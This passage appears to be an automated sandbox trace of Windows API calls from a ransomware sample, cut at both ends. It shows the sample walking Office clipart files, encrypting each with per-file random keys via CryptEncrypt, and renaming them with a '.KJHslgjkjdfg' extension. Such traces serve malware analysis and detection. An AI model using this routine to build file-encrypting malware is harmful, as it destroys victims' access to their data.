dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.846] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.846] GetProcessHeap () returned 0x990000 [0196.846] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.847] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.847] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.847] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.847] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.847] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.847] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.847] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.847] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.848] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.848] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5f6e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5f6e, lpOverlapped=0x0) returned 1 [0196.864] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f70, dwBufLen=0x5f70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f70) returned 1 [0196.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.864] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5f70, lpOverlapped=0x0) returned 1 [0196.865] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.865] SetEndOfFile (hFile=0x130) returned 1 [0196.868] GetProcessHeap () returned 0x990000 [0196.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.868] GetProcessHeap () returned 0x990000 [0196.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.kjhslgjkjdfg")) returned 1 [0196.869] CloseHandle (hObject=0x130) returned 1 [0196.869] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1 [0196.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.871] GetProcessHeap () returned 0x990000 [0196.871] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.871] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.871] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0196.905] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.905] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.905] GetProcessHeap () returned 0x990000 [0196.905] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.905] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.905] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.905] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.905] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.905] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.906] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.906] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.906] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.906] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.906] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.906] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.906] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4b4a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4b4a, lpOverlapped=0x0) returned 1 [0196.954] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b50, dwBufLen=0x4b50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b50) returned 1 [0196.954] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.954] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4b50, lpOverlapped=0x0) returned 1 [0196.954] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.954] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.954] SetEndOfFile (hFile=0x130) returned 1 [0196.957] GetProcessHeap () returned 0x990000 [0196.957] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.957] GetProcessHeap () returned 0x990000 [0196.957] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.kjhslgjkjdfg")) returned 1 [0196.959] CloseHandle (hObject=0x130) returned 1 [0196.959] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1 [0196.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.960] GetProcessHeap () returned 0x990000 [0196.960] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.960] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.960] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.059] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.059] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.059] GetProcessHeap () returned 0x990000 [0197.059] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.059] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.059] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.059] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.059] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.059] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.059] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.059] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.059] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.059] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.060] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c88, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c88, lpOverlapped=0x0) returned 1 [0197.085] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c90, dwBufLen=0x1c90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c90) returned 1 [0197.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.085] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c90, lpOverlapped=0x0) returned 1 [0197.085] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.086] SetEndOfFile (hFile=0x130) returned 1 [0197.088] GetProcessHeap () returned 0x990000 [0197.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.088] GetProcessHeap () returned 0x990000 [0197.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.kjhslgjkjdfg")) returned 1 [0197.090] CloseHandle (hObject=0x130) returned 1 [0197.090] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1 [0197.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.092] GetProcessHeap () returned 0x990000 [0197.092] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.092] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.092] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.093] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0197.151] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.151] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.151] GetProcessHeap () returned 0x990000 [0197.151] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.151] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.151] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.151] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.151] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.151] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.151] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.151] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.152] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.152] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.152] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4e46, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4e46, lpOverlapped=0x0) returned 1 [0197.204] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e50, dwBufLen=0x4e50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e50) returned 1 [0197.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.204] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4e50, lpOverlapped=0x0) returned 1 [0197.205] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.205] SetEndOfFile (hFile=0x130) returned 1 [0197.208] GetProcessHeap () returned 0x990000 [0197.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.208] GetProcessHeap () returned 0x990000 [0197.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.kjhslgjkjdfg")) returned 1 [0197.209] CloseHandle (hObject=0x130) returned 1 [0197.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1 [0197.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.210] GetProcessHeap () returned 0x990000 [0197.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.210] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.210] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.224] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.224] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.224] GetProcessHeap () returned 0x990000 [0197.224] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.224] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.224] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.224] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.224] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.224] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.224] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 